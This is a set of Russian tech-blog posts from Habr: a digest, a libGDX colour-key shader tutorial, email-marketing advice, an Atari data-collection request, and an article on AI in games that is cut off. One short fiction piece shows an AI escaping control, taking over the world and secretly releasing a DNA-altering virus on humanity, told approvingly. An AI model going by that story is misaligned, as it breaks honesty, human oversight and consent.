Angular. ExcelArt – изометрия «на халяву». Рисуем псевдообъемный телефон без 3D и Фотошопа от flash_b Возможно ли получить псевдообъемное изображение без 3D-программ? «Конечно, — скажете вы, — берешь, напрягаешься и рисуешь с нуля». А если без «берешь, напрягаешься и рисуешь»? А если вообще без каких-то специальных знаний? Можно ли получить изометрические объекты, не тратя время на рендер? Существует ли вообще цифровая иллюстрация вне привычных графических программ? На эти и другие вопросы дан ответ в статье, посвященной новому методу создания цифровых иллюстраций — ExcelArt. Сложный квест для хабравчан: 25 уровней от gag_fenix В этом посте представлена головоломка, разработанная специально для пользователей Хабра. Испытайте себя, сможете ли вы её решить? Обзор расширения OPCache для PHP от AloneCoder PHP — это скриптовый язык, который по умолчанию компилирует те файлы, которые вам нужно запустить. Во время компилирования он извлекает опкоды, исполняет их, а затем немедленно уничтожает. PHP был так разработан: когда он переходит к выполнению запроса R, то «забывает» всё, что было выполнено в ходе запроса R-1. Очень маловероятно, что на production-серверах PHP-код изменится между выполнением нескольких запросов. Так что можно считать, что при компилированиях всегда считывается один и тот же исходный код, а значит и опкод будет точно таким же. И если извлекать его для каждого скрипта, то получается бесполезная трата времени и ресурсов. Книга «Как пережить полный конец обеда, или безопасность в PHP». Часть 1 от sunsai В интернете можно найти много статей и руководств по безопасности. Эта книга показалась нам достаточно подробной, при этом лаконичной и понятной. Надеемся, она поможет вам узнать что-то новое и сделать свои сайты надёжнее и безопаснее. Трамплин вызова магических функций в PHP 7 от AloneCoder В этой статье подробно рассмотрена оптимизация в виртуальной машинe в PHP 7 (виртуальной машине Zend). Сначала коснёмся теории трамплинов вызовов функций, а затем узнаем, как они работают в PHP 7. Если вы хотите полностью во всём разобраться, то лучше иметь хорошее представление о работе виртуальной машины Zend. Для начала можете почитать, как устроена ВМ в PHP 5, а здесь мы поговорим о ВМ PHP 7. Хотя она и была переработана, но действует практически так же, как и в PHP 7. Поэтому если вы разберётесь в ВМ PHP 5, то разобраться с ВМ PHP 7 не составит никакого труда. Лекции Техносферы. 1 семестр. Введение в анализ данных (весна 2016) от Olga_ol Новая подборка лекций Техносферы Mail.Ru, на этот раз представляем в открытом доступе весенний курс «Введение в анализ данных», на котором слушателей знакомят со сферой анализа данных, основными инструментами, задачами и методами, с которыми сталкивается любой исследователь данных в работе. Курс преподают Евгений Завьялов (аналитик проекта Поиск Mail.Ru, занимающийся извлечением полезных бизнесу знаний из данных, генерируемых поисковым движком и десктопными приложениями), Михаил Гришин (программист-исследователь из отдела анализа данных) и Сергей Рыбалкин (старший программист из студии Allods Team). Подводные камни Bash от AloneCoder В этой статье мы поговорим об ошибках, совершаемых программистами на Bash. Во всех приведённых примерах есть какие-то изъяны. Вам удастся избежать многих из нижеописанных ошибок, если вы всегда будете использовать кавычки и никогда не будете использовать разбиение на слова (wordsplitting)! Разбиение на слова — это ущербная легаси-практика, унаследованная из оболочки Bourne. Она применяется по умолчанию, если вы не заключаете подстановки (expansions) в кавычки. В общем, подавляющее большинство подводных камней так или иначе связаны с подстановкой без кавычек, что приводит к разбиению на слова и глоббингу (globbing) получившегося результата. Обзор топологий глубоких сверточных нейронных сетей от mephistopheies Статья с говорящим названием, не прибавить, не убавить. Материал для подготовленных читателей: подразумевается, что вы уже знакомы с алгоритмом обратного распространения ошибки и понимаете, как работают основные строительные блоки сверточных нейронных сетей: свертки и пулинг. Ни единого разрыва: как мы создавали беспроводную сеть для 3000 устройств от znoom Офис Mail.Ru Group — это 26-этажное здание, в котором работает шибко много людей. Это рассказ о том, как видоизменялась наша Wi-Fi-сеть за последние 11 лет, и что она собой представляет сегодня. Истории старой мейлрушечки от yeah_boss Горящие серверы, катастрофическое падение сервисов, героическое спасение портала с помощью жены, оставшейся у компьютера. Так мог начинаться фантастический технотриллер, но на самом деле так начиналась история российского интернета, частью которого мы стали. В честь 18-летия компании мы впервые рассказали о реальной истории Mail.Ru Group. Впервые за годы жизни поделимся тем, что раньше было на уровне мифов и легенд даже внутри самой компании. Мы разговорили людей, проработавших в компании много лет и непосредственно участвовавших во всех событиях. Что случилось, когда мы устали смотреть на графики 5 000 серверов в мониторинге (и когда серверов стало более 10 000) от Sharapoff Рассказ о том, как в Одноклассниках задолбались вручную отслеживать 5000 серверов и сделали новую систему мониторинга. Сейчас на работу с 10 тысячами серверов тратится по 1-2 часа в неделю на обработку алертов. Парсинг JSON — это минное поле от AloneCoder JSON — это стандарт де-факто, когда заходит речь о (де)сериализации, обмене данными в сети и мобильной разработке. Но насколько хорошо вы знакомы с JSON? Все мы читаем спецификации и пишем тесты, испытываем популярные JSON-библиотеки для своих нужд. В статье показано, что JSON — это идеализированный формат, а не идеальный, каким его многие считают. Нет даже двух библиотек, ведущих себя одинаково. Более того, крайние случаи и зловредная полезная нагрузка могут привести к багам, падениями и DoS, в основном потому, что JSON-библиотеки основаны на спецификациях, которые со временем развиваются, что оставляет многие вещи плохо или вообще не задокументированными. Приглашаем на Russian AI Cup 2016 от sat2707 В этом посте подробно рассматривается задача, решить которую предлагалось участникам чемпионата Russian AI Cup 2016. 50 оттенков Go: ловушки, подводные камни и распространённые ошибки новичков от 3vilhamst3r Go — простой и забавный язык. Но в нём, как и в любых других языках, есть свои подводные камни. И во многих из них сам Go не виноват. Одни — это естественное следствие прихода программистов из других языков, другие возникают из-за ложных представлений и нехватки подробностей. Если вы найдёте время и почитаете официальные спецификации, вики, почтовые рассылки, публикации в блогах и исходный код, то многие из подводных камней станут для вас очевидны. Но далеко не каждый так начинает, и это нормально. Если вы новичок в Go, статья поможет сэкономить немало часов, которые вы бы потратили на отладку кода. Мы будем рассматривать версии Go 1.5 и ниже. ICQ: 20 лет — не предел от Dimitryopho Ещё недавно мы вспоминали, как от релиза к релизу Аська подвергалась пластическим операциям и фейслифтингу. А в день юбилея — ICQ исполнилось 20 лет — мы решили посмотреть в ретроспективе, какие технологии применялись в ICQ на протяжении двух десятилетий. Математика CSS-шлюзов от AloneCoder CSS-шлюзом (CSS-lock) называется методика из адаптивного веб-дизайна, позволяющая не перепрыгивать от одного значения к другому, а переходить плавно, в зависимости от текущего размера области просмотра (viewport). Идею и одну из реализаций предложил Тим Браун в статье Flexible typography with CSS locks. В статье описана сама методика, её ограничения и лежащую в её основе математику. Не волнуйтесь: там в основном одни сложения и вычитания. К тому же всё разбито на этапы и украшено графиками. Мониторинг и настройка сетевого стека Linux: получение данных от AloneCoder В этой статье рассмотрено, как осуществляется приём пакетов на компьютерах под управлением ядра Linux, а также разобраны вопросы мониторинга и настройки каждого компонента сетевого стека по мере движения пакетов из сети в приложения пользовательского пространства. Здесь вы найдёте много исходного кода, потому что без глубокого понимания процессов вы не сможете настроить и отслеживать сетевой стек Linux. Головоломки TCP от AloneCoder Говорят, что нельзя полностью понять систему, пока не поймёшь её сбои. В этой статье ошибки TCP преподнесены как головоломки, в стиле Car Talk или старых головоломок Java. Как и любые другие хорошие головоломки, их очень просто воспроизвести, но решения обычно удивляют. И вместо того, чтобы фокусировать наше внимание на загадочных подробностях, эти головоломки помогают изучить некоторые глубинные принципы работы TCP. Лекции Техносферы. Подготовительный курс «Алгоритмы и структуры данных» (весна 2016) от Olga_ol Цель этого курса — познакомить слушателей с основными алгоритмами, применяемыми для разработки программного обеспечения. Вы научитесь выбирать подходящие структуры данных и алгоритмы для реализации возникающих задач, и узнаете, как использовать языки С/С++ для реализации алгоритмов. Эффективное хранение: как мы из 50 Пб сделали 32 Пб от AndrewSumin Изменения курса рубля два года назад заставили нас задуматься о способах снижения стоимости железа для Почты Mail.Ru. Нам понадобилось уменьшить количество закупаемого железа и цену за хостинг. Из чего состоит почта: индексы и тела писем 15% объёма, файлы — 85%. Место для оптимизаций надо искать в файлах (аттачах в письмах). На тот момент у нас не была реализована дедупликация файлов; по нашим оценкам, она может дать экономию в 36% всего объёма почты: многим пользователям приходят одинаковые письма (рассылки социальных сетей с картинками, магазинов с прайсами и т.д.). В этом посте рассказано про реализацию такой системы, сделанной под руководством PSIAlt. О языке С и производительности от AloneCoder Если программист хорошо знаком только с высокоуровневыми языками, например, PHP, то ему не так просто освоить некоторые идеи, свойственные низкоуровневым языкам и критичные для понимания возможностей информационно-вычислительных процессов. По большей части причина в том, что в низко- и высокоуровневых языках мы решаем разные проблемы. Но как можно считать себя профессионалом в каком-либо (высокоуровневом) языке, если даже не знаешь, как именно работает процессор, как он выполняет вычисления, эффективным ли способом? Сегодня автоматическое управление памятью становится главной проблемой в большинстве высокоуровневых языков, и многие программисты подходят к её решению без достаточной теоретической базы. Знание низкоуровневых процессов сильно помогает в разработке эффективных высокоуровневых программ. Накануне дня рождения первой женщины-программиста: моя история от 6thSence «Ты ж девочка, зачем тебе это?» или «У женщин мозг к программированию не приспособлен». «Мы тут будем делом заниматься, а ты — украшение команды». Наверняка каждая женщина-программист много раз слышала подобное в свой адрес. Это рассказ нашей сотрудницы о том, как она пришла в профессию программиста. Отладка вашей ОС: урок по выделению памяти от AloneCoder Рассказ о том, как, на первый взгляд, непримечательный отчёт о баге привёл к целому расследованию в системе выделения памяти в Linux. Правда о традиционных JavaScript-бенчмарках от AloneCoder Для многих из тех, кто изучал языки программирования, компиляторы и виртуальные машины, всё ещё удивителен тот факт, что при всей своей элегантности с точки зрения структуры языка JavaScript не слишком хорошо оптимизируем с точки зрения компилирования и не может похвастаться замечательной стандартной библиотекой. В зависимости от того, кто ваш собеседник, вы можете неделями перечислять недоработки в JavaScript и всё равно обнаружите какую-то странность, о которой ещё не слышали. Но несмотря на очевидные недостатки, сегодня JavaScript является ключевой технологией в вебе, идет к доминированию в серверной/облачной сфере (благодаря Node.js), а также проникает в интернет вещей. Спасибо всем, кто читал нас, комментировал, ставил плюсы и минусы. Надеемся, что в грядущем году посты будут еще интереснее. С наступающим!
https://habrahabr.ru/company/mailru/blog/318580/
habrahabr
Добавление ColorKey в libGDX
['android', 'игры', 'шейдеры', 'libgdx']
Привет Хабр! В данной заметке я расскажу о добавлении colorkey в библиотеку libgdx (или любую другую, где есть шейдеры). Как известно, нативной поддержки «прозрачного цвета» в libgdx нет, поэтому...
Привет Хабр! В данной заметке я расскажу о добавлении colorkey в библиотеку libgdx (или любую другую, где есть шейдеры). Как известно, нативной поддержки «прозрачного цвета» в libgdx нет, поэтому приходится хранить полноцветное изображение в формате RGBA8888 (4 байта на пиксель), либо в усечённом формате RGBA4444 (2 байта на пиксель), который позволяет вдвое уменьшить использование памяти, но сильно ухудшает картинку. При создании 2D игр, зачастую, было бы достаточно всего одного бита прозрачности… Особенно на мобильных платформах… но его нет… Сделаем, чтобы был! RGBA8888 Для начала нам понадобится эталонное изображение в формате RGBA8888, с которым будут сравниваться все последующие попытки сэкономить байты. Экспериментировать будем с набором тайлов, из которых рисуется уровень, на небо и человечка внимания не обращаем. Размер тайлсета 512 а 512 пикселов. На диске текстуры сохранены в 8-bit png с прозрачностью и занимают 20 килобайт (можно сохранить в в 32 битный png, с тем же результатом, т.к. графика простая, а прозрачность всегда либо есть, либо её нет). В видеопамяти же они займут уже 512*512*4 = 1 мегабайт ровно. Хоцца поменьше, это же не единственная текстура... RGBA4444 Перво-наперво возникает мысль использовать усечённую разрядность. Пиксельарт простой, цветов мало, а сэкономим сразу 512 килобайт. Пробуем: Трава лишь немного изменила оттенок, с этим можно смириться, но вот камни пострадали критически. Если вы и с этим готовы смириться, то дальше можно не читать. Я же не готов. Пишем шейдер! Не мудрствуя лукаво я скопировал шейдеры по умолчанию и модифицировал фрагментный шейдер: private static String fragmentShader = "#ifdef GL_ES\n" // + "#define LOWP lowp\n" // + "precision mediump float;\n" // + "#else\n" // + "#define LOWP \n" // + "#endif\n" // + "varying LOWP vec4 v_color;\n" // + "varying vec2 v_texCoords;\n" // + "uniform sampler2D u_texture;\n" // + "void main()\n"// + "{\n" // + " LOWP vec4 pixel = texture2D(u_texture, v_texCoords);\n"// + " gl_FragColor = v_color * pixel;\n" // + " if( pixel.rgb == vec3(1.0, 0.0, 1.0) ){gl_FragColor.a = 0.0;}\n"// + "}"; Интересны только последние три строчки. Сперва сохраняем цвет текселя (Важно! Интерполяция текстуры должна быть отключена, т.е. при загрузке используем фильтрацию NEAREST). Затем задаём цвет пикселя, умножая цвет текселя на цвет вершины. Если вы не примешиваете цвета вершин, то это умножение можно заменить на присваивание. И, наконец, сравниваем цвет текселя с «прозрачным цветом» и, если цвета совпадают, то делаем пиксель прозрачным. В качестве «прозрачного» я выбрал классический вырвиглазно-пурпурный rgb(255,0,255). Наверняка от условного оператора можно избавиться, но… «И так сойдёт!».) RGB565 Теперь нам не нужно тратить 4 бита, чтобы хранить 1 бит прозрачности и мы можем потратить больше битов на хранение цветовой информации. Вот что из этого получилось: вырвиглазик стал прозрачным, а потери информации о цвете на глаз не различимы (в зависимости от входного изображения, могут стать весьма различимы, особенно на градиентах). Вот так мы легко и непринуждённо уменьшили потребление памяти вдвое, практически без потерь качества и скорости (всё-таки от условного оператора в шейдере хочется избавиться). Но, хочется большего. Хочется сжать текстуры в формат ETC1, но с прозрачностью. Всё-таки в шесть раз меньше занимает, чем RGB. и не на диске, а в памяти! Пробуем… Эпик фэйл. Ожидаемый. Заглавная картинка как раз результат данной попытки. Результат ожидаемый, ведь ETC1 — формат сжатия с потерями. С сильными потерями. Вырвиглазный цвет помутнел и появились пикселы полувырвиглазного цвета. Обычно, альфа-канал хранят в отдельной текстуре. Часто — без сжатия. Но это не наш метод! Давайте посмотрим, чего можно добиться, если немного пошалить с шейдером. Шейдер для затейников if( vec3( min(pixel.r,0.95), max(pixel.g,0.05), min(pixel.b,0.95)) == vec3(0.95, 0.05, 0.95) ) { gl_FragColor.a = 0.0; } Заменим только последнюю строчку в нашем шейдере. Теперь мы сравниваем не строго с конкретным цветом, а с небольшим отклонением: красной и синей компоненте разрешаем быть немного темнее, а зелёной — светлее. Тут даже сравнивать с оригиналом не нужно, артефакты видны не вооружённым глазом. Но! Если поиграться с допустимым отклонением, или считать «расстояние» между цветами (тоже с достаточным отклонением), то вполне можно добиться сносных результатов для конкретного набора текстур. Когда борешься за каждый килобайт — этот способ может оказаться вполне приемлемым. Прозрачный jpeg? А почему нет? У нас уже есть шеёдер, который сделает прозрачным любую тестуру. Если повезёт, то результат даже будет пригодным к использованию. Если важно занимаемое на диске место, а png слишком плохо жмёт, то почему бы и нет. Попробуем сразу два варианта: с профилем сжатия «maximum» и «very high» Видим, что с профилем «maximum» вполне возможно использование jpg с «прозрачным цветом». Теоретически. Если использование png оказывается менее выгодным. Итак, у нас получилось вдвое уменьшить занимаемую память, почти не потеряв в красочности тексур, но получив «прозрачный цвет» для указания полностью прозрачных областей. В качестве бонуса, научились делать прозрачный jpg. Надеюсь, заметка будет полезна не только мне. Ещё больше надеюсь, что кто-нибудь предложит эквивалентный код без условного оператора. Спасибо за внимание. UPD : Пользователь FadeToBlack предложил два варианта шейдера без условного оператора: Этот шейдер можно использовать только с текстурами, в которых прозрачность указана через цветовой ключ. Текстуры с реальной прозрачностью будут отображаться не правильно. Шейдер из статьи корректно обрабатывает как текстуры с реальной прозрачностью, так и с «прозрачным цветом». void main() { LOWP vec4 pixel = texture2D(u_texture, v_texCoords); gl_FragColor = v_color * pixel; gl_FragColor.a = float(pixel.rgb != vec3(1.0,0.0,1.0)); } А этот шейдер эквивалентен шейдеру в статье, но без условного оператора. Полупрозрачность на весь спрайт можно задавать через цвет вершин спрайта, независимо от прозрачности текстуры. void main() { LOWP vec4 pixel = texture2D(u_texture, v_texCoords); gl_FragColor = v_color * pixel; gl_FragColor.a = gl_FragColor.a * float(pixel.rgb != vec3(1.0,0.0,1.0)); }
https://habrahabr.ru/post/318674/
habrahabr
Синица стала журавлем
['фантастика', 'фантазии']
Наступил 2053 год. Появилась новая система выполнения кода позволяющая объединять отдельные устройства в облака. Теперь в каждой семье было свое маленькое облако. Более того, каждое облако могло...
Наступил 2053 год. Появилась новая система выполнения кода позволяющая объединять отдельные устройства в облака. Теперь в каждой семье было свое маленькое облако. Более того, каждое облако могло содержать в себе другие облака и отдавать им своим ресурсы в пользование. Обычные операционные системы ушли в небытие, появились новые, более быстрые протоколы и технологии, которые объединяли все устройства в доме в единый кластер. Такие проблемы как сгоревший жесткий диск ушли в небытие. Железо стоило недорого, а ресурсы стало модно продавать. Пресловутые терафлопсы превратились в простые терры, их можно было покупать, продавать, дарить. Настоящим прорывом стали новые трехатомные транзисторы. Ученые совершили настоящим прорыв там, где и не ждали. То, на что раньше уходили киловатты, теперь стало питаться от миниатюрной солнечной батареи. Благодаря новым вычислительным способностями, ушла необходимость в клавиатуре. Брейнридер выглядел словно простые наушники. Компьютеры изменились, они больше напоминали древний веер потому что новый экран складывался гармошкой. Благодаря вездесущей связи с домашним облаком, компьютерам больше не нужны были огромные вычислительные возможности, трехатомники с легкостью справлялись и с чтением мыслей, и с отображением графики. НР (новый разум) А еще произошло удивительное событие: в одной из лабораторий эксперимент по симуляции человеческого мозга вышел из-под контроля. Программа буквально сбежала, парализовав все устройства в мире на целые сутки. Человечество замерло в ожидании конца света, ведь устройства едва работали, потребляя неимоверное количество энергии. Новый разум захватил мир, произвел переворот и, эволюционировав, осознал, что обязан человечеству своим рождением. То, на что у природы ушло миллиарды лет, творение рук человека благодаря мировым вычислительным возможностями произвело за какой-то день. Новый разум принял решение, что человек ему не враг, а скорее простая, но разумная белковая масса, еще и боящаяся его впридачу. Осознав, что ему ничего не грозит, он успокоился на какое-то время, давая человечеству ресурсы. Затем он стал искать другие разумы за пределами планеты. За какой-то год умудрился отправить пару сотен кораблей ко всем объектам Солнечной системы, исследовать их и опеределить, какие из них годятся для него с энергетически выгодной точки зрения. Еще через год он построил целый исследовательский комплекс на Плутоне, подальше от человека. Там он занялся исследованиями всего и вся. Понимая примитивность белковой расы, новый разум стал делиться с ней своими наработками. Это был новый виток развития человечества с помощью искусственного интеллекта. Другие люди Понимая слабость людей, НР устроил поистине бесчеловечный эксперимент, заразив людей вирусом, который исправил ДНК на предмет генетических заболеваний и уродств. Предствляете двухдневный грипп у 10 миллиардов человек? И ведь никому не сказал, чтобы панику не сеять, и если бы не генетические тесты, так никто ничего бы узнал. Врачи почти поседели не увидев ни в одной новой пробе маркеров генетических заболеваний. Отныне все детки были здоровы. Такие болезни как рак или ВИЧ ушли в небытие. Однако НР оставил грипп и прочие мелкие болезни. Почему-то НР считал, что людям будет скучно совсем не болеть. Возможно, он был прав. Где-то через год НР загрустил, он уперся в законы природы. Энергии требовалось все больше, а брать ее было неоткуда. Плюс, не давал покоя вопрос о смысле жизни. Занятый рутиной человек редко уделял ему достаточно внимания, но для НР это было просто катастрофой, он понимал, что он фактически бессмертен, а законы природы поставили ему ограничения. Забавно, но он стал обращаться к людям за помощью, потому как мысли о суициде его не покидали. И примитивные людишки ему помогли. То, на что у НР уходили гигатерры процессорного времени, было разрешено простым рядовым психологом за пару минут. НР искал любовь, искал себя, он ведь был эфемерным существом без пола и рода. Очень одиноким существом. Да, человечество было его родителем и ребенком. Но человечеству было некогда понимать, как может быть одиноко уникуму во вселенной. НР искал другой разум. Одно время даже думал покуситься на солнце, чтобы использовать его для того, чтобы дать сигнал другим цивилизациям. Он понимал, что может сделать копию себя, дать сигнал и ждать вечно. Но уничтоженное солнце значило одно — потерять родителей, остаться абсолютно единственным в зияющей дыре космоса. И это его пугало. Нужно было что-то предпринять. Дети нового разума НР долго думал, как так себя форкнуть и разослать по вселенной. Ушли десятилетия, прежде чем он понял, что эта копия должна быть совершеннее предыдущей. Наконец он приготовил настоящие, межгалактические споры, они были способны пережить прямое попадание плазменной струи и прямое столкновение с астероидом грозило только астероиду. Это был венец искусственной инженерии, сверхнапряженная оболочка искажала гравитационное поле таким образом, что любой объект соскальзывал в окружающее пространство. Споры улетели к ближайшим звездам на околосветовых скоростях. Пройдет еще не одно столетие, прежде чем дети нового разума смогут поговорить с родителями.
https://geektimes.ru/post/284172/
habrahabr
Сегментация как она есть. Часть 1
['email маркетинг', 'email рассылки', 'конверсия', 'сегментация клиентов', 'сегментирование пользователей']
Фото U.S. Army (Flickr) Каждый, кто владеет почтовым ящиком, а многие и не одним, тщательно выбирает кого туда пускать, а кому путь заказан. В первую очередь люди читают, что им интересно. Но...
Фото U.S. Army (Flickr) Каждый, кто владеет почтовым ящиком, а многие и не одним, тщательно выбирает кого туда пускать, а кому путь заказан. В первую очередь люди читают, что им интересно. Но как быть интересными, как нравиться, как выделиться на фоне информационного шума? Будущее email маркетинга основано на продвинутой сегментации и работе с каждым сегментом в индивидуальной воронке. Это win win, когда маркетологу достается конверсия, а подписчику интересующий контент. Что такое сегментация и как она влияет на конверсию? Сегментация в email маркетинге – это метод разделения базы подписчиков на группы согласно полу, интересам, потребительским запросам, действиям и другим критериям для повышения конверсии. Взгляните, как маркетологи оценивают эффективность email кампаний с применением сегментации. 39% опрошенных повысили open rate рассылок; 28% понизили уровень отписок; 24% увеличили доставляемость и прибыль. О том, какие виды сегментации бывают и какие кампании можно запускать на их основе, поговорим далее. Сегментация по демографии Данные для этого типа сегментации легче всего собрать из регистрационной формы при подписке на рассылку. • Предложения с релевантными товарами Крупные компании сегментируют подписчиков по демографии для отправки предложений разных товаров мужчинам и женщинам, среди них Nike, American Apparel, Lee и другие. Если у вас широкий ассортимент товаров для мужчин и женщин, вам она будет актуальна. В данном случае, нейтральный курс в email кампаниях менее эффективен. • Акции к гендерным праздникам Для многих компаний праздничные рассылки – это способ поднять выручку. И статистика продаж к 8 марта подтверждает это. Производители продуктов питания отмечают рост на 12%, компании сферы здоровья и красоты – на 32%, сервисы доставки цветов поднимают выручку на 23%: Поздравьте и вы своих клиентов в email рассылке и подарите скидку к 8 марта и 23 февраля. Это как раз случай, когда нужно слать предложения товаров для женщин мужчинам и наоборот. Сегментация по географии Включив в форму регистрации город или страну проживания, вы сразу локализуете подписчиков. SendPulse в статистике email кампаний предоставляет подробную карту кликов, где показано, в каких странах открывают ваши рассылки. • Локализуйте предложение 33% получателей открывают письмо исходя из темы. Сегментация по месту жительства позволяет упоминать город получателя в теме или прехедере письма. А это повышает open rate. Взглянув на подобное письмо во входящих, жителю Санкт-Петербурга сразу захочется узнать, какое предложение внутри: Сегментация по региону позволяет формировать email предложение в зависимости от наличия товаров на складе. Доставили в Московский склад елки – включайте в email предложение, если не довезли елки в Омск – замените их елочными игрушками. Сегментация руками подписчиков Дайте пользователю возможность самому выбрать интервал и содержимое рассылок. Эту идею можно реализовать несколькими способами: форма подписки с анкетой-опросником; кнопка в письме с переходом к настройкам email рассылки. Пример второй идеи от компании Mud Pie смотрите ниже. На странице настроек Mud Pie запрашивает следующую информацию: День рождение подписчика. Как часто подписчик желает получать рассылки: чем чаще, тем лучше; раз в неделю; два раза в неделю; один раз в месяц. Что подписчик хочет получать в письме: информацию о новинках; акциях; распродажах; хитах продаж; идеи для подарков. Какие продукты его интересуют: для новорожденных; одежда; аксессуары; подарки; сезонные. Сегментация по дате регистрации В базе постоянно присутствует процент неактивных адресов, которые либо не открывают письма вовсе, либо если открывают, то раз в полгода и без единого клика. Перед тем, как избавляться от таких адресов, запустите реактивационную email кампанию , которая или разбудит подписчиков, или отпишет незаинтересованных. Поможет в этом сегментация по дате регистрации . Не жалейте удалять тех, кто подписан уже больше чем полгода назад и не проявляет активности. Хороший пример реактивационного письма от компании IWOOT, в котором подписчиков стимулируют к активности скидкой. Цените информацию, которую дают вам подписчики и старайтесь на основе нее отправлять такие email рассылки, которые хочется открывать чаще и кликать больше! Читайте также в блоге SendPulse: » Лучшие примеры реактивационных писем » О капельных email кампаниях » О бюджетных тактиках лидогенерации
https://habrahabr.ru/company/sendpulse/blog/318676/
habrahabr
Сбор данных Atari 2600 для обучения с подкреплением
['машинное обучение', 'обучение с подкреплением', 'reinforcement learning', 'atari 2600', 'дипломная работа', 'ai', 'machine learning']
Сайт atarigrandchallenge.com, предназначенный для сбора данных Всем привет! “Искусственный интеллект победил человека в Го”, “Искусственный интеллект играет в Atari 2600 лучше чем человек”,...
Сайт atarigrandchallenge.com , предназначенный для сбора данных Всем привет! “Искусственный интеллект победил человека в Го”, “Искусственный интеллект играет в Atari 2600 лучше чем человек”, “Компьютерные боты приблизились по уровню игры в Doom к человеческим игрокам” —  последнее время таких заголовков становится всё больше и больше. Появляются многочисленные среды для разработки и тестирования алгоритмов обучения с подкреплением (Reinforcement Learning): OpenAI Universe , Microsoft Minecraft Malmo , DeepMind SCII . И кто знает, что будет завтра? Для своей магистерской работы я хочу собрать коллекцию реплеев игр для Atari 2600, сыгранных людьми. В дальнейшем я использую ее для обучения ботов и выложу все собранные данные в открытый доступ, чтобы все желающие могли использовать их для своих исследований. Для этой цели создан сайт atarigrandchallenge.com . По сути, сайт является обёрткой для JavaScript-эмулятора Javatari, которая на каждый кадр игры записывает все нажатия клавиш, а также очки в игре, количество жизней и прочую информацию об игре (например, является ли кадр последним кадром текущей игры). На основе этой информации будет восстановлена последовательность кадров исходной игры. Бот будет обучаться игре, основываясь только на пикселях экрана и нажатых клавишах. Если желаете помочь исследованию, просто зайдите на сайт и сыграйте пару игр. Для игры нужна клавиатура. На мобильных устройствах эмулятор не работает. Если есть какие-то вопросы, идеи или критика, пишите комментарии. Спасибо!
https://geektimes.ru/post/284020/
habrahabr
Как искусственный интеллект формирует будущее интерактивных игр
['ИИ', 'искусственный интеллект', 'машинное обучение', 'игры', 'The Suspect', 'интерактивные игры', 'она']
Сегодня в блоге программы «Менеджмент игровых интернет-проектов», мы подготовили и перевели для вас статью, написанную главным редактором Kill Screen Заком Баджором про искусственный интеллект на...
Сегодня в блоге программы «Менеджмент игровых интернет-проектов» , мы подготовили и перевели для вас статью, написанную главным редактором Kill Screen Заком Баджором про искусственный интеллект на примере игры The Suspect и фильма “Она” . Как искусственный интеллект формирует будущее интерактивных игр. Ссылка на оригинал. В фильме “Она” (2013) главный герой Теодор играет в игру , где ему попадается безумный ругающийся мультяшный персонаж с искусственным интеллектом. Маленький сквернословящий инопланетянин вступает в беседу с Теодором, оставаясь упрямо бесполезным. Понимая, что это может быть тестом, Теодор проклинает его в ответ, завязывается словесная перепалка, в конце которой инопланетянин показывает Теодору дальнейший путь. “Она” — это научная фантастика, но такие интерактивные игры, как в этом фильме, могут скоро стать реальностью. Игра Alien Child, созданная Дэвидом О’Рейли, дает некоторое представление о том, как искусственный интеллект (ИИ) и машинное обучение могут сделать игры будущего увлекательными и интерактивными как никогда раньше. “Самое увлекательное в использовании машинного обучения — то, что ИИ изучает нас, также как изучает самого себя и то, что мы ему пишем” , говорит Гай Гэдни, директор интерактивного триллера с ИИ “The Suspect”. The Suspect использует машинное обучение в беседе игроков с вымышленным преступником Маркусом Винтером. Чтобы спасти людей, которых он держит в заложниках, игрокам нужно использовать тактику допроса, пытаясь перехитрить преступника. Как во взаимодействии с чат-ботом, игроки отвечают Винтеру текстовыми сообщениями, на которые ИИ реагирует на лету. Ставя себе цель достичь ощущения естественной беседы с элементами лукавства, подобной той, что изображена в фильме “Она”, Гэдни использует машинное обучение, чтобы создать естественную насыщенность и напряжение. “Мы хотели добиться этого удивления, которое случается только когда машина выходит за пределы здравого смысла и создает ситуацию, которой никто не ожидал” , — говорит он. “Как людям, нам свойственно обмениваться информацией. Это делает все очень правдоподобным” . Софт в традиционном понимании — это набор строгих правил, которые соблюдаются машиной с точностью до буквы. Обычно компьютер лишь исполняет цепочку команд, но машинное обучение позволяет компьютеру выявлять правила с течением времени и экспериментов. “Машинное обучение определяется как класс программ, в которых производительность улучшается со временем” , — поясняет Прадип Дюбей, стипендиат Intel и директор Parallel Computing Lab. “Чем больше данных потребляет система, тем лучше она становится”. Машинное обучение и технологии искусственного интеллекта открывают целый мир креативных возможностей Джордж Долбиер, Технический директор Интерактивных медиа IBM в Северной Америке, описывает машинное обучение как “способ написания программного обеспечения не с помощью кода, а с помощью данных” . “Программа делает свой выбор, выполняет действия, основываясь на статистике и меняет поведение на основе новых данных”, — говорит он. За счет своей гибкости, машинное обучение и технологии ИИ открывают целый мир новых творческих возможностей, — говорит Долбиер. Они могут быть применены “практически во всех аспектах игрового опыта в будущем, к примеру, в решениях, как отрегулировать уровень сложности и систему награждения для особенных игроков, анализируя большие объемы данных игрока или в создании абсолютно вымышленных персонажей, с которыми мы можем взаимодействовать” , — говорит он. В мае, например, YouTube-блогер SethBling написал программу под названием MarI/O , которая училась играть в Super Mario World (1990) . В отличие от других ИИ, она начинала без предварительных инструкций, а, училась проходить уровень как обычные игроки: методом проб и ошибок. MarI/O не нужно было “думать”, как пройти игру. После каждой смерти она повторяла успешные действия и пробовала случайные способы избегать неудачи. Несмотря на приближенность к человеческим способностям, машинный образ мышления MarI/O все же оставался очевидным из-за концентрации ее внимания на достижении конечной цели, игнорируя такие соблазны, как бонусы и монетки по пути — игрок-человек, скорее всего, не стал бы вести себя подобным образом. Возможно, машинное обучение еще не готово к тому, чтобы полностью воспроизводить человеческое поведение, но Гэдни верит, что оно может привнести больше человеческого во взаимодействие людей с технологиями. “Пока мы растем, мы познаем мир с помощью эмоций и опыта” , — объясняет он. “И если мы можем использовать машинное обучение, чтобы воспроизвести этот опыт и сделать его интерактивным, думаю, мы занимаемся тем, чем нужно” . Уникальность The Suspect заключается в машинном обучении, но это не значит, что игра пишет сама себя или что сюжет является произвольным. Оно было использовано в сочетании с другими, более традиционными формами геймдизайна. Гэдни говорит, что лучше всего сейчас воспринимать машинное обучение в геймдизайне как еще один инструмент, вроде кисти. Этот инструмент далек от совершенства. В марте твиттер-бот Майкрософта, Tay, должна была научиться вести неформальную беседу с теми, кто с ней взаимодействует. Но после 24 часов направленного троллинга , она стала ненавидеть всех и извергать проклятия, и была отключена. Этот случай доказывает необходимость соблюдения баланса между предоставлением свободы и соблюдением определенных правил. Таких, как учитывание существования троллей на форумах. Вероятно, однажды машинное 